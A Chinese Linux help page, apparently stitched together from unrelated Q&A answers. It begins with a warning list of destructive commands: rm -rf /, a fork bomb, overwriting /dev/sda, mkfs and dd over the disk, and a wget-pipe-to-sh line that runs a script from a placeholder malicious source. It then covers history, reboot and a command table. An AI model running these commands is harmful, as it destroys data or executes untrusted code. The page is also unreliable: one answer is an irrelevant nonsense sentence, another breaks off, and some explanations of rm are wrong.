这9个“非常危险”的Linux命令一定要记住!
1、rm-rf命令
rm-rf命令是删除文件夹及其内容最快的一种方式,仅仅一丁点的敲错或者无知都可能导致不可恢复的系统崩坏。
rm命令在Linux下通常用来删除文件
rm-f命令递归的删除文件夹,甚至是空的文件夹
rm-f命令能不经过询问直接删除只读文件
rm-rf/:强制删除根目录下所有东西
rm-rf/*:强制删除当前目录的所有文件
rm-rf.:强制删除当前文件夹及其子文件
温馨提示:当你要执行rm -rf命令时,一定要留心,可以在“.bashrc”文件对“rm”命令创建rm
-i的别名,来预防用‘rm’命令删除文件时的事故。
2、:(){:|:&};:命令
这就是一个fork炸弹的实例。具体操作是通过定义一个名为':'的函数,它会调用自己两次,一次在前台另一次运行在后台。它会反复的执行下去直到系统崩溃。
3、命令 >/dev/sda
上列命令会将某个'命令'的输出写到块设备/dev/sda中。该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
4、mv文件夹/dev/null
这个命令会移动某个'文件夹'到/dev/null。在Linux中/dev/null或null设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。
5、wget http://malicious_source -O- | sh
上面这个命令会从一个恶意源下载一个脚本并执行。Wget命令会下载这个脚本,而sh会执行下载下来的脚本。
温馨提示:你应该时刻注意你下载包或者脚本的源。只能使用那些从可信任的源中下载脚本/程序。
6、mkfs.ext3 /dev/sda
上列命令会格式化设备'sda',你无疑知道在执行上列命令后你的块设备会被格式化,崭新的。没有任何数据,直接让你的系统达到不可恢复的阶段。
7、> file
上面命令常用来清空文件内容,如果用上列执行时输入错误或无知的输入类似“> xt.conf”的命令会覆盖配置文件或其他任何的系统配置文件。
8、^foo^bar
这个命令用来编辑先前运行的命令而无需要打整个命令。但当用foobar命令时如果你没有彻底检查改变原始命令的风险,这可能导致真正的麻烦。
9、dd if=/dev/random of=/dev/sda
上面这个命令会向块设备sda写入随机的垃圾文件从而擦出数据。当然,你的系统可能陷入混乱和不可恢复的状态。
B. 如何查看linux上的历史执行命令
1>History命令语法: [test@linux]# history [n] [test@linux]# history [-c] [test@linux]# history [-raw] histfiles 参数: n :数字,要列出最近的 n 笔命令列表 -c :将目前的shell中的所有 history 内容全部消除 -
C. 重新启动linux系统命令
标准的重启命令是:reboot,这将提示主机自动关闭,然后再重新打开。然而,如果想关掉设备,那么-p便是进行开关工作:reboot –p。
另一种选择是强制重启。如果应用程序或服务正在挂起,而需要快速重启,-f命令将非常有用:reboot –f,这将强制重新启动主机。
紧急选项:REISUB
当系统运行正常时,可以使用上面的所有命令。但是在崩溃或者正在挂起的状态,上面的命令可能就不适用了,这时候就键盘组合操作。
在Linux系统中,键盘组合为Alt + Print Screen + B以重新启动。 但是如果这不起作用,或者存在更复杂的问题,则可以使用最多六个键来更改组合,就是REISUB,是取以下词语的缩略语:
unraw -显示控制键盘。
terminate - 将终止信号SIGTERM发送到所有进程,以便正常终止。
kill - 如上所述,但SIGKILL信号强制立即终止进程。
Sync - 将数据刷新到磁盘。
Unmount- 这会将所有文件系统重新装入只读状态。
reboot - 按照期望的那样。
要使其起作用,应按下Alt + Print Screen,然后按顺序按下R E I S U B键。 在每个按键之间留一两秒。 请注意,此方法通常不适用于具有ARM体系结构的。
现在大家已经了解了如何取消关机或重启命令。然而当进程正在运行时,很容易启动shutdown命令,尤其是在远程主机上。解决这个问题的方法是安装molly-guard,它可以通过检查某些参数来覆盖关机。《Linux就该这么学》一起学习更多linux
具体例如,有一个脚本检查SSH会话,如果发送重新启动、停止、关机或关机命令,molly-guard将要求要关闭的主机的名称。当molly-guard在后台运行时,它将检测poweroff之类的命令,并报告已检测到SSH会话。 然后用户可以选择输入主机名以确认关闭,或者按Ctrl + C取消。
D. 一下几个Linux命令是什么意思,最好能详细解释下里面的参数含义
第一行是开启路由转发功能。
第二行是定义SNAT策略,但是好像你没有定义源网段地址。
第三行是加载路由功能,使路由功能生效。
E. 求教:linux是怎样查找硬件设备的
可以用df -h查看。 1、裸设备定义: 一块没有分区的硬盘,称为原始设备(RAW DEVICE)或者是一个分区,但是没有用EXT3,OCFS等文件系统格式化,称为原始分区(RAW PARTITION)以上两者都是裸设备。 2、裸设备的绑定 有文件系统的分区是采用mount的方式挂载到某一个挂载点的(目录)而裸设备不能mount,只能绑定到/dev/raw/下的某一个设备名 比如/dev/raw/raw1 3、裸设备的绑定方法 修改/etc/sysconfig/rawdevices,添加以下内容,这里sdd1和sdd2是原始分区名或者原始设备(硬盘)名,raw1和raw2是/dev目录下的原始设备名,编号从raw1到raw255,也就是最多可以绑定255个裸设备。 /dev/raw/raw1 /dev/sdd1 /dev/raw/raw2 /dev/sdd2 然后修改裸设备的属主和访问权限 chown oracle:dba /dev/raw/raw1 chown oracle:dba /dev/raw/raw2 chmod 660 /dev/raw/raw1 chmod 660 /dev/raw/raw2 最后使得裸设备生效,并且在机器启动的时候就自动加载执行 /etc/init.d/rawdevices restart 使裸设备生效执行 /sbin/chkconfig rawdevices on 保证机器启动的时候裸设备能够加载,这一步很重要。 4、裸设备的读写 不能用cp等命令操作,写入内容用dd命令,可以参阅相关资料。 5、清空裸设备,相当于格式化啦bs是快的大小,block sizecount是快的数量,这两者相乘大于裸设备的容量即可。 dd if=/dev/zero of=/dev/raw/raw1 bs=8192 count=12800 dd if=/dev/zero of=/dev/raw/raw2 bs=8192 count=12800
F. 请懂linux的帮忙看下如何用命令查看raw裸设备和lv绑定关系
他在这个人材基本的地方看见他感到很惊讶
G. linux命令中显示之前操作过的所有命令的命令是什么
1、连接上相应的linux主机,进入到等待输入shell指令的linux命令行状态下。
H. linux 查看当前系统默认可以记住用户多少个历史命令用什么命令
可以使用History命令,主要用于显示历史指令记录内容, 下达历史纪录中的指令 。
1、History命令语法:
[test@linux]# history [n]
[test@linux]# history [-c]
[test@linux]# history [-raw] histfiles
参数:
n:数字,要列出最近的 n 笔命令列表
-c:将目前的shell中的所有 history 内容全部消除
-a:将目前新增的history 指令新增入 histfiles 中,若没有加 histfiles ,
则预设写入 ~/.bash_history
-r:将 histfiles 的内容读到目前这个 shell 的 history 记忆中
-w:将目前的 history 记忆内容写入 histfiles
Linux系统在shell(控制台)中输入并执行命令时,shell会自动把命令记录到历史列表中,一般保存在用户目录下的.bash_history文件中。默认保存1000条,也可以更改这个值。
如果键入history, history会显示所使用的前1000个历史命令,并且编了号,会看到一个用数字编号的列表快速从屏幕上卷过。可能不需要查看1000个命令中的所有项目, 当然也可以加入数字来列出最近的 n 笔命令列表。
linux中history命令不仅仅可以查询历史命令而已. 还可以利用相关的功能来帮执行命令。
2、运行特定的历史命令
history会列出bash保存的所有历史命令,并且编了号,可以使用“叹号接编号”的方式运行特定的历史命令.
语法说明:
[test@linux]# [!number] [!command] [!!]
参数说明:
number :第几个指令的意思;
command:指令的开头几个字母
! :上一个指令的意思!
3、History命令实战
列出所有的历史记录:
[test@linux] # history
只列出最近10条记录:
[test@linux] # history 10 (注,history和10中间有空格)
使用命令记录号码执行命令,执行历史清单中的第99条命令
[test@linux] #!99 (!和99中间没有空格)
重复执行上一个命令
[test@linux] #!!
执行最后一次以rpm开头的命令(!? ?代表的是字符串,这个String可以随便输,Shell会从最后一条历史命令向前搜索,最先匹配的一条命令将会得到执行。)
[test@linux] #!rpm
逐屏列出所有的历史记录:
[test@linux]# history | more
立即清空history当前所有历史命令的记录
[test@linux] #history -c
除了使用history命令,在 shell 或 GUI 终端提示下,也可以使用上下方向键来翻阅命令历史(向下箭头会向前翻阅),直到找到所需命令为止。这可以很方便地编辑前面的某一条命令,而不用重复输入类似的命令。
I. 在LINUX下如何修改文件类型
d
目录文件。
l
符号链接(指向另一个文件,类似于瘟下的快捷方式)。
s
套接字文件。
b
块设备文件,二进制文件。
c
字符设备文件。
p
命名管道文件。
-
普通文件,或更准确地说,不属于以上几种类型的文件。
重点注意的是普通文件,在查看文件类型的时候使用file命令和ll命令结合来查看文件的类型
设备文件分为block
device
driver和character
device
drive两类。character
device
drive又被称为字符设备或裸设备raw
devices;
block
device
driver通常成为块设备。而block
device
driver是以固定大小长度来传送转移资料
;character
device
driver是以不定长度的字符传送资料
。且所连接的devices也有所不同,block
device大致是可以随机存取(random
access)资料的设备,如硬盘机或光盘机;而character
device刚好相反,依循先后顺序存取资料的设备,如印表机
、终端机等皆是。
1.字符设备只能以字节为最小单位访问,而块设备以块为单位访问,例如512字节,1024字节等
2.块设备可以随机访问,但是字符设备不可以
3.字符和块没有访问量大小的限制,块也可以以字节为单位来访问
the
type
printed
will
usually
contain
one
of
the
words
text
(the
file
contains
only
printing
characters
and
a
few
common
control
characters
and
is
probably
safe
to
read
on
an
ascii
terminal),
executable
(the
file
contains
the
result
of
compiling
a
program
in
a
form
understandable
to
some
unix
kernel
or
another),
data
meaning
anything
else
(data
is
usually
`binary'
or
non-printable).
any
file
that
cannot
be
identified
as
having
been
written
in
any
of
the
character
sets
listed
above
is
simply
said
to
be
``data''.
J. Linux那些命令操作
Linux常用命令手册
2008-1-22
NO
分类
PS1
命令名
用法及参数
功能注解
对应章节
1
文件管理
#
ls
ls -a
列出当前目录下的所有文件,包括以.头的隐含文件
文件管理
#
ls
ls -l或ll
列出当前目录下文件的详细信息
文件管理
#
pwd
pwd
查看当前所在目录的绝对路经
文件管理
#
cd
cd ..
回当前目录的上一级目录
文件管理
#
cd
cd -
回上一次所在的目录
文件管理
#
cd
cd ~ 或 cd
回当前用户的宿主目录
文件管理
#
cd
cd ~用户名
回指定用户的宿主目录
2
文件管理
#
mkdir
mkdir 目录名
创建一个目录
文件管理
#
mkdir
mkdir –p
递归式去创建一些嵌套目录
文件管理
#
rmdir
Rmdir 空目录名
删除一个空目录
3
文件管理
#
rm
rm 文件名 文件名
删除一个档或多个档
文件管理
#
rm
rm -rf 非空目录名
递归删除一个非空目录下的一切,不让提式-f
4
文件管理
#
cat
cat文件名
一屏查看档内容
5
文件管理
#
more
more文件名
分页查看档内容
6
文件管理
#
less
less 文件名
可控分页查看档内容
7
文件管理
#
grep
grep字符 文件名
根据字符匹配来查看文件部分内容
8
文件管理
#
mv
mv 路经/文件 /经/文件
移动相对路经下的文件到绝对路经下
文件管理
#
mv
mv 文件名 新名称
在当前目录下改名
9
文件管理
#
cp
cp /路经/文件 ./
移动绝对路经下的文件到当前目录下
10
文件管理
#
find
find 路经 -name “字符串”
查找路经所在范围内满足字符串匹配的文件和目录
11
文件管理
#
ln
ln 源文件 链接名
创建当前目录源文件的硬链接
ln /home/test /usr/test1
在/usr下建立/home/test的硬链接
12
文件管理
#
ln
Ln -s a b
创建当前目录下a的符号链接b
13
文件管理
#
touch
touch file1 file2
创建两个空文件
14
磁盘管理
#
df
df
用于报告文件系统的总容量,使用量,剩余容量。
15
磁盘管理
#
-b /home
查看目前/HOME目录的容量(k)及子目录的容量(k)。
16
磁盘管理
#
fdisk
fdisk -l
查看系统分区信息
17
磁盘管理
#
fdisk
fdisk /dev/sdb
为一块新的SCSI硬盘进行分区
18
磁盘管理
#
mkfs.ext3
Mkfs.ext3 /dev/sdb1
为第一块SCSI硬盘的第一主分区格式化成
ext3的文件系统
mkfs.ext2
Mkfs.ext2/dev/sdb2
格式化成ext2文件系统
19
磁盘管理
#
mount
mount -t 文件系统类型 设备路经 访问路经
磁盘管理
#
文件系统类型
Iso9660
光驱文件系统
vfat
Fat文件系统(windows)
挂载光驱
#
mount –t iso9660 /dev/cdrom /mnt/cdrom
挂载FAT
#
mount –t vfat /dev/hda5 /mnt/cdrom
挂第一个ide的第五个逻辑分区
17
磁盘管理
#
Umount /mnt/cdrom
卸载/mnt/cdrom为空
18
文件权限
#
chmod
chmod u+s file
为file的属主加上特殊权限
chmod g+r file
为file的属组加上读权限
chmod o+w file
为file的其它用户加上写权限
chmod a-x file
为file的所有用户减去执行权限
chmod 765 file 为file的属主设为完全权限,属组设成读写权,其它用户具有读和执心权限
19
文件权限
#
chown
chown root /home
把/home的属主改成root用户
20
文件权限
#
chgrp
chgrp root /home
把/home的属组改成root组
21
打印管理
#
redhat-config-printer-tui
进入安装打印机接口
22
打印管理
#
lp
lp –d hptr file
打印file到hptr的打印机上
23
打印管理
#
lpq
Lpq –P 打印机名
查看打印机的状态
24
打印管理
#
lprm
Lprm –P 打印机名 a
删除打印机内的打印作业
25
打印管理
#
disable
Disable –r “changing paper” HPtr
禁用打印机并提示原因
26
打印管理
#
enable
Enable HPtr
重新启用被禁用的
27
用户管理
#
useradd
Useradd
创建一个新的用户
28
用户管理
#
groupadd
Groupadd 组名
创建一个新的组
29
用户管理
#
passwd
Passwd 用户名
为用户创建密码
30
用户管理
#
Passwd -d
Passwd -d用户名
删除用户密码也能登陆
31
用户管理
#
Passwd -l
Passwd -l用户名
锁定账号密码
32
用户管理
#
Passwd -u
Passwd -u用户名
解锁账号密码
33
用户管理
#
Passwd -S
Passwd -S用户名
查询账号密码
34
用户管理
#
Usermod -l
Usermod -l 新用户名 老用户名
为用户改名
35
用户管理
#
Usermod -L
Usermod -L 要锁定用户名
锁定用户登陆
36
用户管理
#
Usermod -U
Usermod –U解锁用户名
解锁用户登陆
37
用户管理
#
Usermod -u
Usermod –u 501用户名
改变用户UID
38
用户管理
#
Userdel
Userdel–r 用户名
删除用户一切
39
用户管理
#
Groupmod -n
Groupmod –n新用户名 老用户名
为组改名
40
用户管理
#
Groupmod -g
Groupmod –g 501 组名
改变组GID
41
用户管理
#
groupdel
Groupdel组名 先应删它的用户
删除组
42
用户管理
#
gpasswd -a
gpasswd -a 用户名 组名
增加用户到组
43
用户管理
#
Id
id 用户名
查用户信息
44
软件管理
#
rpm -qa
rpm –qa | less
查询已安装RPM
45
软件管理
#
rpm –qa | grep ftp
查询指定RPM
46
软件管理
#
rpm -q
rpm -q 已安装的RPM包
查是否安装
47
软件管理
#
rpm -q telnet-server
查看telnet服务器包
48
软件管理
#
rpm -qi
rpm –qi 软件包名称
查看软件的描述信息
49
软件管理
#
rpm -ql
rpm –ql软件包名称
查询软件包的文件列表
50
软件管理
#
rpm -qf
rpm –qf软件包名称
查询某个文件所属的软件包
51
软件管理
#
rpm -qp
rpm –qp软件包全名
查询未安装的软件包信息
52
软件管理
#
rpm -e
rpm –e 软件包名称
删除具体的软件包
53
软件管理
#
rpm -U
rpm –Uvh软件包全名
升级软件包并显示过程
54
软件管理
#
rpm -ivh
rpm –ivh 软件包全名
安装软件包并显示过程
55
软件管理
#
rpm -V
rpm –V软件包名称
验证软件包的大小,类型等
56
软件管理
#
tar
-c 创建包 –x 释放包 -v 显示命令过程 –z 代表压缩包
57
软件管理
#
tar -cf
tar –cvf benet.tar /home/benet
把/home/benet目录打包
58
软件管理
#
tar -czf
tar –zcvf benet.tar.gz /mnt
把目录打包并压缩
59
软件管理
#
tar –tf
tar –tf benet.tar
看非压缩包的档列表
60
软件管理
#
tar –tzf
tar –tf benet.tar.gz
看压缩包的档列表
61
软件管理
#
tar –xf
tar –xf benet.tar
非压缩包的档恢复
62
软件管理
#
tar –zxvf
tar –zxvf benet.tar.gz
压缩包的档解压恢复
63
软件管理
#
tar -jxvf
tar –jxvf benet.tar.bz2
64
软件管理
#
diff
diff file1 file2 > 补丁名.patch
为新旧档生成补丁档
65
软件管理
#
diff
diff file1 file2
比较两个文件的区别
66
软件管理
#
Patch
Patch file补丁名.patch
打补丁
67
软件管理
#
./configure --prefix=/usr/local/
编译前配置
68
软件管理
#
make
编译
69
软件管理
#
make install
安装编译好的源码包
70
启动管理
#
reboot
Init 6
重启LINUX系统
71
启动管理
#
Halt
Init 0
Shutdown –h now
关闭LINUX系统
72
启动管理
#
runlevel
显示系统运行级
73
启动管理
#
Init [0123456]
改变系统运行级,7种
74
启动管理
#
Chkconfig –-list [服务名称]
查看服务的状态
75
启动管理
#
Chkconfig –-level <运行级> <服务名> on|off|set
设置服务的启动状态
76
启动管理
#
Chkconfig <服务名> on|off|set
设置非独立服务启状态
77
进程管理
#
Top动态
Ps-aux静态
进程树pstree
查看系统进程
78
进程管理
#
程序名 &
后台运行程序
79
进程管理
#
fg
把后台运行的进程调回前台
80
进程管理
#
bg
把前台运行进程调到后台
81
进程管理
#
renice
Renice +1 180
把180号进程的优先级加1
82
进程管理
#
kill
Kill PID
终止某个PID进程
83
进程管理
#
at
at 5pm + 3 days
/bin/ls
指定三天后下午5:00执行/bin/ls
84
进程管理
#
crontab
Crontab -e
用VI的形式来编辑自动周期性任务
85
进程管理
#
crontab
Crontab -l
查看自动周期性任务
86
进程管理
#
crontab
Crontab -r
删除自动周期性任务
87
进程管理
#
crond
Service crond <start|stop|restart|status>
马上启动自动周期性服务
Service crond <启动|停止|重启|状态>
实现磁盘配额
(注安装LINUX时建立/home分区)
目标:对用户zhao在/home目录上实现soft limit为5k,hard limit 为10k的磁盘配额
实现步骤:
1. 修改包含/home的行, #vi /etc/fstab, 改为:defaults,usrquota。也就是增加usrquota项。然后保存退出。
2、卸载/home目录 #umount /home
3. 挂接/home目录 #mount /home
4、增加用户zhao #useradd zhao
5、修改密码 #passwd zhao
6、生成关于/home目录的quota信息 # quotacheck -cmug /home
#quotacheck -vu /home
7、查看所有用户的信息 #repquota -au
8、设置配额 #edquota -u zhao
将soft 和hard 分别改为5和10
9、保存并退出 #wq!
10、修改时间 #edquota -t
11、 #wq!
12.开启/home上的磁盘配额功能 #quotaon /home
13.查询配额 #quota -u zhao
14.验证配额 #su - zhao
$touch myfile
useradd命令的常用选项如下:
-c comment:用户全名或描述。l
-d home-dir:指定用户主目录。l
-e date:禁用账户的日期,格式为:YYYY-MM-DD。l
-f days:口令过期后,账户禁用前的天数。l
-g group-name:用户所属主组群的组群名称或GID。l
-G group-list:用户所属的附属组群列表,多个项目用逗号分隔。l
-m:若主目录不存在则创建它。l
-M:不创建用户主目录。l
-n:不要为用户创建用户私人组群。l
-r:创建UID小于500的不带主目录的系统账户。l
-p:加密的口令。l
-s:指定用户登录 Shell,默认为 /bin/bash。l
-u UID:指定用户的 UID,它必须是唯一的,且大于499。l